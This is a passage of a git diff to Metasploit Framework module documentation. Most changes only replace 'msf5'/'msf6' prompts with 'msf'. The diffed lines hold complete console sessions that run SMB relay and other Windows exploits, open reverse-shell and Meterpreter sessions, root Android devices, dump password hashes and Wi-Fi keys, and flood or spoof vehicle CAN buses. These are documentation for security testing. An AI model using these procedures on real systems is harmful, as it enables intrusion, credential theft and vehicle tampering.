credentials, and then attempts to -execute a relay attack against the configured RELAY_TARGETS hosts. +execute a relay attack against the configured RHOSTS hosts. Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 @@ -75,7 +75,7 @@ flowchart LR ## Options -### RELAY_TARGETS +### RHOSTS Target address range or CIDR identifier to relay to @@ -109,11 +109,11 @@ This only applies to the server waiting on the client to respond with [a type3 m ### Net use example ``` -msf6 exploit(windows/smb/smb_relay) > run +msf exploit(windows/smb/smb_relay) > run [*] Exploit running as background job 12. [*] Exploit completed, but no session was created. -msf6 exploit(windows/smb/smb_relay) > [*] Started reverse TCP handler on 192.168.123.1:4444 +msf exploit(windows/smb/smb_relay) > [*] Started reverse TCP handler on 192.168.123.1:4444 [*] JTR hashes will be split into two files depending on the hash format. [*] /Users/user/Documents/code/metasploit-framework/relay_results_netntlm.txt for NTLMv1 hashes. [*] /Users/user/Documents/code/metasploit-framework/relay_results_netntlmv2.txt for NTLMv2 hashes. @@ -131,7 +131,7 @@ net use \\192.168.123.1\foo /u:admin password123 msfconsole output with new session opened: ``` -msf6 exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22 +msf exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22 [*] Received request for \admin [*] Relaying to next target smb://192.168.123.4:445 [+] identity: \admin - Successfully authenticated against relay target smb://192.168.123.4:445 @@ -149,7 +149,7 @@ msf6 exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22 [*] Sending stage (175174 bytes) to 192.168.123.4 [*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.4:52771 ) at 2022-03-02 22:24:42 +0000 -msf6 exploit(windows/smb/smb_relay) > sessions +msf exploit(windows/smb/smb_relay) > sessions Active sessions =============== @@ -162,9 +162,9 @@ Active sessions Multiple targets can be relayed to: ``` -msf6 exploit(windows/smb/smb_relay) > set RELAY_TARGETS 192.168.123.4 192.168.123.25 -RELAY_TARGETS => 192.168.123.4 192.168.123.25 -msf6 exploit(windows/smb/smb_relay) > +msf exploit(windows/smb/smb_relay) > set RHOSTS 192.168.123.4 192.168.123.25 +RHOSTS => 192.168.123.4 192.168.123.25 +msf exploit(windows/smb/smb_relay) > [*] Started reverse TCP handler on 192.168.123.1:4444 [*] JTR hashes will be split into two files depending on the hash format. [*] /Users/user/Documents/code/metasploit-framework/relay_results_netntlm.txt for NTLMv1 hashes. @@ -202,7 +202,7 @@ msf6 exploit(windows/smb/smb_relay) > [*] Sending stage (175174 bytes) to 192.168.123.25 [*] Meterpreter session 4 opened (192.168.123.1:4444 -> 192.168.123.25:61055 ) at 2022-03-02 22:27:32 +0000 -msf6 exploit(windows/smb/smb_relay) > sessions +msf exploit(windows/smb/smb_relay) > sessions Active sessions =============== @@ -259,18 +259,18 @@ python3 -m http.server Server: ``` -msf6 exploit(windows/smb/smb_relay) > set JOHNPWFILE ./relay_results.txt +msf exploit(windows/smb/smb_relay) > set JOHNPWFILE ./relay_results.txt JOHNPWFILE => ./relay_results.txt -msf6 exploit(windows/smb/smb_relay) > set RELAY_TARGETS 192.168.123.4 192.168.123.25 -RELAY_TARGETS => 192.168.123.4 192.168.123.25 -msf6 exploit(windows/smb/smb_relay) > run +msf exploit(windows/smb/smb_relay) > set RHOSTS 192.168.123.4 192.168.123.25 +RHOSTS => 192.168.123.4 192.168.123.25 +msf exploit(windows/smb/smb_relay) > run [*] Exploit running as background job 9. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.123.1:4444 [*] SMB Server is running. Listening on 0.0.0.0:445 [*] Server started. -msf6 exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22 +msf exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22 [*] Received request for WIN-4PK8J9RF052\alan [*] Relaying to next target smb://192.168.123.4:445 [+] identity: WIN-4PK8J9RF052\alan - Successfully authenticated against relay target smb://192.168.123.4:445 diff --git a/documentation/modules/exploit/windows/smb/smb_rras_erraticgopher.md b/documentation/modules/exploit/windows/smb/smb_rras_erraticgopher.md index 082628edbc601..ca8fcdb2a9610 100644 --- a/documentation/modules/exploit/windows/smb/smb_rras_erraticgopher.md +++ b/documentation/modules/exploit/windows/smb/smb_rras_erraticgopher.md @@ -45,15 +45,15 @@ The pipe name to use (default: `browser`) ### Windows Server 2003 R2 SP2 (x86) ``` -msf6 > use exploit/windows/smb/smb_rras_erraticgopher +msf > use exploit/windows/smb/smb_rras_erraticgopher [*] Using configured payload windows/shell/reverse_tcp -msf6 exploit(windows/smb/smb_rras_erraticgopher) > set rhosts 172.16.191.171 +msf exploit(windows/smb/smb_rras_erraticgopher) > set rhosts 172.16.191.171 rhosts => 172.16.191.171 -msf6 exploit(windows/smb/smb_rras_erraticgopher) > check +msf exploit(windows/smb/smb_rras_erraticgopher) > check [*] 172.16.191.171:445 - The service is running, but could not be validated. RRAS enabled and accessible. -msf6 exploit(windows/smb/smb_rras_erraticgopher) > set lhost 172.16.191.192 +msf exploit(windows/smb/smb_rras_erraticgopher) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(windows/smb/smb_rras_erraticgopher) > run +msf exploit(windows/smb/smb_rras_erraticgopher) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] 172.16.191.171:445 - Binding to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ... diff --git a/documentation/modules/exploit/windows/smb/webexec.md b/documentation/modules/exploit/windows/smb/webexec.md index 897d6b5d1919e..eef1e920609fe 100644 --- a/documentation/modules/exploit/windows/smb/webexec.md +++ b/documentation/modules/exploit/windows/smb/webexec.md @@ -27,18 +27,18 @@ ``` - msf5 > use exploit/windows/smb/webexec - msf5 exploit(windows/smb/webexec) > set smbuser a_user + msf > use exploit/windows/smb/webexec + msf exploit(windows/smb/webexec) > set smbuser a_user smbuser => a_user - msf5 exploit(windows/smb/webexec) > set smbpass password + msf exploit(windows/smb/webexec) > set smbpass password smbpass => password - msf5 exploit(windows/smb/webexec) > set rhosts 192.168.37.136 + msf exploit(windows/smb/webexec) > set rhosts 192.168.37.136 rhosts => 192.168.37.136 - msf5 exploit(windows/smb/webexec) > set payload windows/meterpreter/reverse_tcp + msf exploit(windows/smb/webexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(windows/smb/webexec) > set lhost 192.168.37.1 + msf exploit(windows/smb/webexec) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(windows/smb/webexec) > run + msf exploit(windows/smb/webexec) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] 192.168.37.136:445 - Connecting to the server... diff --git a/documentation/modules/exploit/windows/tftp/distinct_tftp_traversal.md b/documentation/modules/exploit/windows/tftp/distinct_tftp_traversal.md index bb1f5f79771e2..cb1c2e584450a 100644 --- a/documentation/modules/exploit/windows/tftp/distinct_tftp_traversal.md +++ b/documentation/modules/exploit/windows/tftp/distinct_tftp_traversal.md @@ -44,10 +44,10 @@ ### Microsoft Windows XP SP3 (EN) ``` - msf5 > use exploit/windows/tftp/distinct_tftp_traversal - msf5 exploit(windows/tftp/distinct_tftp_traversal) > set rhosts 172.16.191.205 + msf > use exploit/windows/tftp/distinct_tftp_traversal + msf exploit(windows/tftp/distinct_tftp_traversal) > set rhosts 172.16.191.205 rhosts => 172.16.191.205 - msf5 exploit(windows/tftp/distinct_tftp_traversal) > run + msf exploit(windows/tftp/distinct_tftp_traversal) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Sending EXE (73802 bytes) diff --git a/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp.md b/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp.md index 99076e37036fb..f213d78976661 100644 --- a/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp.md +++ b/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp.md @@ -27,15 +27,15 @@ The output batch file can be executed directly on the target, or pasted as a com ### Example usage on Windows 7 target ``` -msf6 > use exploit/multi/handler +msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload cmd/windows/powershell_reverse_tcp +msf exploit(multi/handler) > set payload cmd/windows/powershell_reverse_tcp payload => cmd/windows/powershell_reverse_tcp -msf6 exploit(multi/handler) > set LHOST 192.168.0.2 +msf exploit(multi/handler) > set LHOST 192.168.0.2 LHOST => 192.168.0.2 -msf6 exploit(multi/handler) > set LPORT 4444 +msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Powershell session session 1 opened (192.168.0.2:4444 -> 192.168.0.2:49106 ) at 2021-11-02 12:28:28 +0000 diff --git a/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp_ssl.md b/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp_ssl.md index 03864d5761dcc..a3533dc26c697 100644 --- a/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp_ssl.md +++ b/documentation/modules/payload/singles/cmd/windows/powershell_reverse_tcp_ssl.md @@ -29,19 +29,19 @@ The output batch file can be executed directly on the target, or pasted as a com ### Example usage on Windows 10 target ``` -msf6 > use exploit/multi/handler +msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload cmd/windows/powershell_reverse_tcp_ssl +msf exploit(multi/handler) > set payload cmd/windows/powershell_reverse_tcp_ssl payload => cmd/windows/powershell_reverse_tcp_ssl -msf6 exploit(multi/handler) > set LHOST 192.168.0.2 +msf exploit(multi/handler) > set LHOST 192.168.0.2 LHOST => 192.168.0.2 -msf6 exploit(multi/handler) > set LPORT 4444 +msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse SSL handler on 192.168.0.2:4444 [*] Powershell session session 1 opened (192.168.0.2:4444 -> 192.168.0.2:49736 ) at 2021-11-02 13:01:28 +0000 -msf6 exploit(multi/handler) > sessions 1 +msf exploit(multi/handler) > sessions 1 [*] Starting interaction with 1... User @ DESKTOP-5E3GRS6 diff --git a/documentation/modules/payload/windows/shell/reverse_ord_tcp.md b/documentation/modules/payload/windows/shell/reverse_ord_tcp.md index 066166ad08e7c..0464b6ca3a0d6 100644 --- a/documentation/modules/payload/windows/shell/reverse_ord_tcp.md +++ b/documentation/modules/payload/windows/shell/reverse_ord_tcp.md @@ -18,7 +18,7 @@ This Meterpreter payload is suitable for the following environments: To check its compatibility with an exploit, select the exploit in the msf console and type the ```info``` command. The output will be similar to: ``` -msf5 payload(windows/shell/reverse_tcp) > info +msf payload(windows/shell/reverse_tcp) > info Name: Windows Command Shell, Reverse TCP Stager Module: payload/windows/shell/reverse_tcp diff --git a/documentation/modules/post/android/capture/screen.md b/documentation/modules/post/android/capture/screen.md index 97fb6b54e5fb5..43067458f629d 100644 --- a/documentation/modules/post/android/capture/screen.md +++ b/documentation/modules/post/android/capture/screen.md @@ -29,7 +29,7 @@ Utilizing futex_requeue to get root access. ``` -msf5 exploit(android/local/futex_requeue) > run +msf exploit(android/local/futex_requeue) > run [*] Started reverse TCP handler on 111.111.1.111:4444 [*] Using target: New Samsung @@ -43,10 +43,10 @@ meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > background [*] Backgrounding session 4... -msf5 exploit(android/local/futex_requeue) > use post/android/capture/screen -msf5 post(android/capture/screen) > set session 4 +msf exploit(android/local/futex_requeue) > use post/android/capture/screen +msf post(android/capture/screen) > set session 4 session => 4 -msf5 post(android/capture/screen) > run +msf post(android/capture/screen) > run [!] SESSION may not be compatible with this module. [+] Downloading screenshot... diff --git a/documentation/modules/post/android/gather/hashdump.md b/documentation/modules/post/android/gather/hashdump.md index f68a5a82014d0..895ee0861fd3a 100644 --- a/documentation/modules/post/android/gather/hashdump.md +++ b/documentation/modules/post/android/gather/hashdump.md @@ -100,7 +100,7 @@ resource (android.128.rb)> run [+] SHA1: EA8457DE97836C955082AE77DBE2CD86A4E8BC0E:4aafc54dc502e88b [+] Crack with: hashcat -m 5800 EA8457DE97836C955082AE77DBE2CD86A4E8BC0E:4aafc54dc502e88b [*] Post module execution completed -msf5 post(android/gather/hashdump) > creds +msf post(android/gather/hashdump) > creds Credentials =========== diff --git a/documentation/modules/post/android/gather/sub_info.md b/documentation/modules/post/android/gather/sub_info.md index e1b20ec542dd6..7564a8efa16a5 100644 --- a/documentation/modules/post/android/gather/sub_info.md +++ b/documentation/modules/post/android/gather/sub_info.md @@ -24,10 +24,10 @@ ``` -msf5 exploit(multi/handler) > use post/android/gather/sub_info -msf5 post(android/gather/sub_info) > set session 1 +msf exploit(multi/handler) > use post/android/gather/sub_info +msf post(android/gather/sub_info) > set session 1 session => 1 -msf5 post(android/gather/sub_info) > run +msf post(android/gather/sub_info) > run [!] SESSION may not be compatible with this module. [*] using code : 1 @@ -95,5 +95,5 @@ Subscriber info VoiceMailNumberForSubscriber [*] Post module execution completed -msf5 post(android/gather/sub_info) > +msf post(android/gather/sub_info) > ``` diff --git a/documentation/modules/post/android/gather/wireless_ap.md b/documentation/modules/post/android/gather/wireless_ap.md index d3e744b6d7860..dd20f7b744281 100644 --- a/documentation/modules/post/android/gather/wireless_ap.md +++ b/documentation/modules/post/android/gather/wireless_ap.md @@ -23,10 +23,10 @@ ``` -msf5 exploit(multi/handler) > use post/android/gather/wireless_ap -msf5 post(android/gather/wireless_ap) > set session 1 +msf exploit(multi/handler) > use post/android/gather/wireless_ap +msf post(android/gather/wireless_ap) > set session 1 session => 1 -msf5 post(android/gather/wireless_ap) > run +msf post(android/gather/wireless_ap) > run Wireless APs ============ @@ -41,5 +41,5 @@ Wireless APs [+] Secrets stored in: ~/.msf4/loot/...wireless.ap.cred_...txt [*] Post module execution completed -msf5 post(android/gather/wireless_ap) > +msf post(android/gather/wireless_ap) > ``` diff --git a/documentation/modules/post/android/local/koffee.md b/documentation/modules/post/android/local/koffee.md index de10cff70cd92..3c4e0b4c10972 100644 --- a/documentation/modules/post/android/local/koffee.md +++ b/documentation/modules/post/android/local/koffee.md @@ -84,10 +84,10 @@ vehicle. ### Usage ``` -msf6 > use post/android/local/koffee -msf6 post(android/local/koffee) > set session 1 +msf > use post/android/local/koffee +msf post(android/local/koffee) > set session 1 session => 1 -msf6 post(android/local/koffee) > toggle_radio_mute +msf post(android/local/koffee) > toggle_radio_mute [*] -- Starting action -- [*] -- Mute/umute radio -- diff --git a/documentation/modules/post/android/manage/remove_lock_root.md b/documentation/modules/post/android/manage/remove_lock_root.md index d6ef78b6a8244..01d19e2b3c1f7 100644 --- a/documentation/modules/post/android/manage/remove_lock_root.md +++ b/documentation/modules/post/android/manage/remove_lock_root.md @@ -24,7 +24,7 @@ Utilizing futex_requeue to get root access. ``` -msf5 exploit(android/local/futex_requeue) > run +msf exploit(android/local/futex_requeue) > run [*] Started reverse TCP handler on 111.111.1.111:4444 [*] Using target: New Samsung @@ -38,10 +38,10 @@ meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > background [*] Backgrounding session 4... -msf5 exploit(android/local/futex_requeue) > use post/android/manage/remove_lock_root -msf5 post(android/manage/remove_lock_root) > set session 4 +msf exploit(android/local/futex_requeue) > use post/android/manage/remove_lock_root +msf post(android/manage/remove_lock_root) > set session 4 session => 4 -msf5 post(android/manage/remove_lock_root) > run +msf post(android/manage/remove_lock_root) > run [!] SESSION may not be compatible with this module. [*] Removing /data/system/password.key diff --git a/documentation/modules/post/apple_ios/gather/ios_image_gather.md b/documentation/modules/post/apple_ios/gather/ios_image_gather.md index 1c200d81aa5e2..1145b97008e92 100644 --- a/documentation/modules/post/apple_ios/gather/ios_image_gather.md +++ b/documentation/modules/post/apple_ios/gather/ios_image_gather.md @@ -17,10 +17,10 @@ ``` - msf5 > use post/apple_ios/gather/ios_image_gather - msf5 post(apple_ios/gather/ios_image_gather) > set session 1 + msf > use post/apple_ios/gather/ios_image_gather + msf post(apple_ios/gather/ios_image_gather) > set session 1 session => 1 - msf5 post(apple_ios/gather/ios_image_gather) > run + msf post(apple_ios/gather/ios_image_gather) > run [!] SESSION may not be compatible with this module. [+] Image path found. Will begin searching for images... diff --git a/documentation/modules/post/apple_ios/gather/ios_text_gather.md b/documentation/modules/post/apple_ios/gather/ios_text_gather.md index 02d361d3c9547..1320ff146fd5f 100644 --- a/documentation/modules/post/apple_ios/gather/ios_text_gather.md +++ b/documentation/modules/post/apple_ios/gather/ios_text_gather.md @@ -17,10 +17,10 @@ ``` - msf5 > use post/apple_ios/gather/ios_text_gather - msf5 post(apple_ios/gather/ios_text_gather) > set session 1 + msf > use post/apple_ios/gather/ios_text_gather + msf post(apple_ios/gather/ios_text_gather) > set session 1 session => 1 - msf5 post(apple_ios/gather/ios_text_gather) > run + msf post(apple_ios/gather/ios_text_gather) > run [!] SESSION may not be compatible with this module. [+] sms.db file found diff --git a/documentation/modules/post/bsd/gather/hashdump.md b/documentation/modules/post/bsd/gather/hashdump.md index 336d21666dc11..89d7efac2c9db 100644 --- a/documentation/modules/post/bsd/gather/hashdump.md +++ b/documentation/modules/post/bsd/gather/hashdump.md @@ -20,12 +20,12 @@ ### FreeBSD 11.1-RELEASE-i386 ``` - msf5 > use post/bsd/gather/hashdump - msf5 post(bsd/gather/hashdump) > set session 1 + msf > use post/bsd/gather/hashdump + msf post(bsd/gather/hashdump) > set session 1 session => 1 - msf5 post(bsd/gather/hashdump) > set verbose true + msf post(bsd/gather/hashdump) > set verbose true verbose => true - msf5 post(bsd/gather/hashdump) > run + msf post(bsd/gather/hashdump) > run [!] SESSION may not be compatible with this module. [+] passwd saved in: /root/.msf4/loot/20191027022955_default_172.16.191.175_passwd_886442.txt @@ -34,7 +34,7 @@ [+] user:$6$0De1rFoA/9y9ZNs/$0w33L7Iox0MGMleEF0mndGGxQ.xKAtWzEo5pzLrN35EonLTnb.NWuHVVbpUQS4aSY0pB2gfi9UXj5zUw2Y7Ds0:1001:1001:user:/home/user:/bin/sh [+] Unshadowed Password File: /root/.msf4/loot/20191027022956_default_172.16.191.175_bsd.hashes_729820.txt [*] Post module execution completed - msf5 post(bsd/gather/hashdump) > creds + msf post(bsd/gather/hashdump) > creds Credentials =========== @@ -43,7 +43,7 @@ 172.16.191.175 root $6$qHMkv01VUXi9UCIK$ReQbxn2vo/i/nnHHtdw3U8BS0IpPRjJmFS6mYPPAkrqP5bHn1m2ReWiRpfEpHbEtAik6rHGpwdF7jaVZwiq22/ Nonreplayable hash sha512,crypt 172.16.191.175 user $6$0De1rFoA/9y9ZNs/$0w33L7Iox0MGMleEF0mndGGxQ.xKAtWzEo5pzLrN35EonLTnb.NWuHVVbpUQS4aSY0pB2gfi9UXj5zUw2Y7Ds0 Nonreplayable hash sha512,crypt - msf5 post(bsd/gather/hashdump) > + msf post(bsd/gather/hashdump) > ``` ### Crack Hashes (John the Ripper) diff --git a/documentation/modules/post/hardware/automotive/can_flood.md b/documentation/modules/post/hardware/automotive/can_flood.md index 255e98d23863f..134f49c3ccee8 100644 --- a/documentation/modules/post/hardware/automotive/can_flood.md +++ b/documentation/modules/post/hardware/automotive/can_flood.md @@ -45,17 +45,17 @@ The user must know a list of frames that generate an effect on the car. This is You can test the module by setting a virtual CAN interface and then execute the commands, thus obtaining the underlying output: ``` -msf5 > use auxiliary/server/local_hwbridge -msf5 auxiliary(server/local_hwbridge) > run +msf > use auxiliary/server/local_hwbridge +msf auxiliary(server/local_hwbridge) > run [*] Auxiliary module running as background job 0. [*] Using URL: http://0.0.0.0:8080/trycanbus [*] Local IP: http://10.0.2.15:8080/trycanbus [*] Server started. -msf5 auxiliary(server/local_hwbridge) > use auxiliary/client/hwbridge/connect -msf5 auxiliary(client/hwbridge/connect) > set targeturi trycanbus +msf auxiliary(server/local_hwbridge) > use auxiliary/client/hwbridge/connect +msf auxiliary(client/hwbridge/connect) > set targeturi trycanbus targeturi => trycanbus -msf5 auxiliary(client/hwbridge/connect) > run +msf auxiliary(client/hwbridge/connect) > run [*] Attempting to connect to 127.0.0.1... [*] Hardware bridge interface session 1 opened (127.0.0.1 -> 127.0.0.1) at 2019-03-20 03:17:55 -0400 @@ -65,12 +65,12 @@ msf5 auxiliary(client/hwbridge/connect) > run [!] could have real world consequences. Use this module in a controlled testing [!] environment and with equipment you are authorized to perform testing on. [*] Auxiliary module execution completed -msf5 auxiliary(client/hwbridge/connect) > use post/hardware/automotive/can_flood -msf5 post(hardware/automotive/can_flood) > set canbus vcan0 +msf auxiliary(client/hwbridge/connect) > use post/hardware/automotive/can_flood +msf post(hardware/automotive/can_flood) > set canbus vcan0 canbus => vcan0 -msf5 post(hardware/automotive/can_flood) > set session 1 +msf post(hardware/automotive/can_flood) > set session 1 session => 1 -msf5 post(hardware/automotive/can_flood) > run +msf post(hardware/automotive/can_flood) > run [*] -- FLOODING -- [*] Post module execution completed diff --git a/documentation/modules/post/hardware/automotive/diagnostic_state.md b/documentation/modules/post/hardware/automotive/diagnostic_state.md index a98638cc2a4e0..49803537006c5 100644 --- a/documentation/modules/post/hardware/automotive/diagnostic_state.md +++ b/documentation/modules/post/hardware/automotive/diagnostic_state.md @@ -36,7 +36,7 @@ Module options (post/hardware/automotive/diagnostic_state): You can test this module doing a candump and you should receive a response for each can frame in a loop at 0x7E8 when running UDS Simulator. ``` -msf5 auxiliary(client/hwbridge/connect) > run +msf auxiliary(client/hwbridge/connect) > run [*] Running module against 127.0.0.1 [*] Attempting to connect to 127.0.0.1... @@ -47,7 +47,7 @@ msf5 auxiliary(client/hwbridge/connect) > run [!] could have real world consequences. Use this module in a controlled testing [!] environment and with equipment you are authorized to perform testing on. [*] Auxiliary module execution completed -msf5 auxiliary(client/hwbridge/connect) > sessions +msf auxiliary(client/hwbridge/connect) > sessions Active sessions =============== @@ -56,7 +56,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 hwbridge cmd/hardware automotive 127.0.0.1 -> 127.0.0.1 (127.0.0.1) -msf5 auxiliary(client/hwbridge/connect) > sessions -i 1 +msf auxiliary(client/hwbridge/connect) > sessions -i 1 [*] Starting interaction with 1... hwbridge > run post/hardware/automotive/diagnostic_state canbus=vcan0 diff --git a/documentation/modules/post/hardware/automotive/ecu_hard_reset.md b/documentation/modules/post/hardware/automotive/ecu_hard_reset.md index 70b52764b7b88..56fbea65fc448 100644 --- a/documentation/modules/post/hardware/automotive/ecu_hard_reset.md +++ b/documentation/modules/post/hardware/automotive/ecu_hard_reset.md @@ -32,7 +32,7 @@ CAN Bus to perform scan on, defaults to connected bus Using UDS simulator for testing ECU hard reset: ``` -msf5 auxiliary(client/hwbridge/connect) > run +msf auxiliary(client/hwbridge/connect) > run [*] Running module against 127.0.0.1 [*] Attempting to connect to 127.0.0.1... @@ -43,7 +43,7 @@ msf5 auxiliary(client/hwbridge/connect) > run [!] could have real world consequences. Use this module in a controlled testing [!] environment and with equipment you are authorized to perform testing on. [*] Auxiliary module execution completed -msf5 auxiliary(client/hwbridge/connect) > sessions +msf auxiliary(client/hwbridge/connect) > sessions Active sessions =============== @@ -52,7 +52,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 hwbridge cmd/hardware automotive 127.0.0.1 -> 127.0.0.1 (127.0.0.1) -msf5 auxiliary(client/hwbridge/connect) > sessions -i 1 +msf auxiliary(client/hwbridge/connect) > sessions -i 1 [*] Starting interaction with 1... hwbridge > run post/hardware/automotive/ecu_hard_reset CANBUS=vcan0 diff --git a/documentation/modules/post/hardware/automotive/mazda_ic_mover.md b/documentation/modules/post/hardware/automotive/mazda_ic_mover.md index 962360be60d8a..46fc7e36f6d01 100644 --- a/documentation/modules/post/hardware/automotive/mazda_ic_mover.md +++ b/documentation/modules/post/hardware/automotive/mazda_ic_mover.md @@ -33,7 +33,7 @@ CAN Bus to perform scan on, defaults to connected bus A successful spoofing of an instrument cluster on a target vehicle: ``` -msf5 auxiliary(client/hwbridge/connect) > run +msf auxiliary(client/hwbridge/connect) > run [*] Running module against 127.0.0.1 [*] Attempting to connect to 127.0.0.1... @@ -44,7 +44,7 @@ msf5 auxiliary(client/hwbridge/connect) > run [!] could have real world consequences. Use this module in a controlled testing [!] environment and with equipment you are authorized to perform testing on. [*] Auxiliary module execution completed -msf5 auxiliary(client/hwbridge/connect) > sessions +msf auxiliary(client/hwbridge/connect) > sessions Active sessions =============== @@ -53,7 +53,7 @@ Active sessions -- ---- ---- ----------- ---------- 2 hwbridge cmd/hardware automotive 127.0.0.1 -> 127.0.0.1 (127.0.0.1) -msf5 auxiliary(client/hwbridge/connect) > sessions -i 2 +msf auxiliary(client/hwbridge/connect) > sessions -i 2 [*] Starting interaction with 2... hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0 diff --git a/documentation/modules/post/linux/gather/enum_commands.md b/documentation/modules/post/linux/gather/enum_commands.md index f6e2039107ea5..e5f54eef0d29f 100644 --- a/documentation/modules/post/linux/gather/enum_commands.md +++ b/documentation/modules/post/linux/gather/enum_commands.md @@ -25,10 +25,10 @@ Optional directory name to list (in addition to default system PATH and common p ### Ubuntu 22.04.1 (x86_64) ``` -msf6 > use post/linux/gather/enum_commands -msf6 post(linux/gather/enum_commands) > set session 1 +msf > use post/linux/gather/enum_commands +msf post(linux/gather/enum_commands) > set session 1 session => 1 -msf6 post(linux/gather/enum_commands) > run +msf post(linux/gather/enum_commands) > run [+] Found 3795 executable binaries/commands /bin/GET @@ -48,5 +48,5 @@ msf6 post(linux/gather/enum_commands) > run ... [*] Post module execution completed -msf6 post(linux/gather/enum_commands) > +msf post(linux/gather/enum_commands) > ``` diff --git a/documentation/modules/post/linux/gather/enum_containers.md b/documentation/modules/post/linux/gather/enum_containers.md index 6ff61891de066..6cecffe937a51 100644 --- a/documentation/modules/post/linux/gather/enum_containers.md +++ b/documentation/modules/post/linux/gather/enum_containers.md @@ -29,9 +29,9 @@ This module looks for container platforms running on the target and then lists a Scenario 1: Docker is installed with 4 running containers ``` -msf5 post(linux/gather/enum_containers) > set session 4 +msf post(linux/gather/enum_containers) > set session 4 session => 4 -msf5 post(linux/gather/enum_containers) > run +msf post(linux/gather/enum_containers) > run [+] docker was found on the system! [+] docker: 1 Running Containers / 5 Total @@ -47,9 +47,9 @@ cfa40ec4d85c nginx "/docker-entrypoint.…" 2 days ago Scenario 2: Docker, LXC and RKT are installed, and each of them are running their own containers ``` -msf5 post(linux/gather/enum_containers) > set session 2 +msf post(linux/gather/enum_containers) > set session 2 session => 2 -msf5 post(linux/gather/enum_containers) > exploit +msf post(linux/gather/enum_containers) > exploit [+] docker was found on the system! [+] docker: 1 Running Containers / 5 Total @@ -75,24 +75,24 @@ UUID APP IMAGE NAME STATE CREATED [+] Results stored in: /home/gwillcox/.msf4/loot/20200805193842_default_172.27.129.4_host.rkt_contain_801968.txt [*] Post module execution completed -msf5 post(linux/gather/enum_containers) > +msf post(linux/gather/enum_containers) > Scenario 3: No container software is runnable ``` -msf5 post(linux/gather/enum_containers) > set session 6 +msf post(linux/gather/enum_containers) > set session 6 session => 6 -msf5 post(linux/gather/enum_containers) > run +msf post(linux/gather/enum_containers) > run [-] No container software appears to be installed or runnable by the current user [*] Post module execution completed ``` Scenario 4: List all containers and execute the `env` command on all running containers ``` -msf5 post(linux/gather/enum_containers) > set session 6 +msf post(linux/gather/enum_containers) > set session 6 session => 6 -msf5 post(linux/gather/enum_containers) > set CMD "env" +msf post(linux/gather/enum_containers) > set CMD "env" CMD => env -msf5 post(linux/gather/enum_containers) > run +msf post(linux/gather/enum_containers) > run [+] docker was found on the system! [+] docker: 1 Running Containers / 5 Total @@ -147,5 +147,5 @@ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/us LANG=C PWD=/home/gwillcox/git/metasploit-framework [*] Post module execution completed -msf5 post(linux/gather/enum_containers) > -``` \ No newline at end of file +msf post(linux/gather/enum_containers) > +``` diff --git a/documentation/modules/post/linux/gather/enum_psk.md b/documentation/modules/post/linux/gather/enum_psk.md index 06854e68b702d..e8a243f996de0 100644 --- a/documentation/modules/post/linux/gather/enum_psk.md +++ b/documentation/modules/post/linux/gather/enum_psk.md @@ -27,10 +27,10 @@ The path for NetworkManager configuration files (default: `/etc/NetworkManager/s ### Ubuntu 22.04.1 (x86_64) ``` -msf6 > use post/linux/gather/enum_psk -msf6 post(linux/gather/enum_psk) > set session 1 +msf > use post/linux/gather/enum_psk +msf post(linux/gather/enum_psk) > set session 1 session => 1 -msf6 post(linux/gather/enum_psk) > run +msf post(linux/gather/enum_psk) > run [*] Reading file /etc/NetworkManager/system-connections//Profile 1.nmconnection [*] Reading file /etc/NetworkManager/system-connections//test @@ -44,5 +44,5 @@ msf6 post(linux/gather/enum_psk) > run [+] Credentials stored in: /root/.msf4/loot/20221120081233_default_192.168.200.204_linux.psk.creds_045512.txt [*] Post module execution completed -msf6 post(linux/gather/enum_psk) > +msf post(linux/gather/enum_psk) > ``` diff --git a/documentation/modules/post/linux/gather/f5_loot_mcp.md b/documentation/modules/post/linux/gather/f5_loot_mcp.md index 90ea2c13ed08e..e7187831b4ca0 100644 --- a/documentation/modules/post/linux/gather/f5_loot_mcp.md +++ b/documentation/modules/post/linux/gather/f5_loot_mcp.md @@ -45,15 +45,15 @@ Default: false (due to the speed) First, get a non-root session however you can. I used the rpmspec vuln: ``` -msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 +msf > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 [*] No payload configured, defaulting to 